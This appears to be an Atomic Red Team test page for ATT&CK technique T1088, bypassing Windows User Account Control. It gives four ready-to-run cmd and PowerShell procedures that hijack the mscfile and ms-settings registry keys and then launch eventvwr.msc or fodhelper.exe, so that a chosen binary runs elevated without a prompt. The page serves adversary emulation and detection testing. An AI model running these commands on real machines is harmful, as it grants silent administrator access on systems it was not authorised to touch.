T1088.md

T1088 - Bypass User Account Control

Description from ATT&CK

Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.

Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

• eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)

Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)

Atomic Tests

• Atomic Test #1 - Bypass UAC using Event Viewer

• Atomic Test #2 - Bypass UAC using Event Viewer - PowerShell

• Atomic Test #3 - Bypass UAC using Fodhelper

• Atomic Test #4 - Bypass UAC using Fodhelper - PowerShell

Atomic Test #1 - Bypass UAC using Event Viewer

Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/

Supported Platforms: Windows

Inputs

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Run it with command_prompt!

reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f
cmd.exe /c eventvwr.msc

Atomic Test #2 - Bypass UAC using Event Viewer - PowerShell

PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/

Supported Platforms: Windows

Inputs

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Run it with command_prompt!

New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\eventvwr.msc"

Atomic Test #3 - Bypass UAC using Fodhelper

Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.

Supported Platforms: Windows

Inputs

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Run it with command_prompt!

reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute"
fodhelper.exe

Atomic Test #4 - Bypass UAC using Fodhelper - PowerShell

PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.

Supported Platforms: Windows

Inputs

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Run it with powershell!

New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"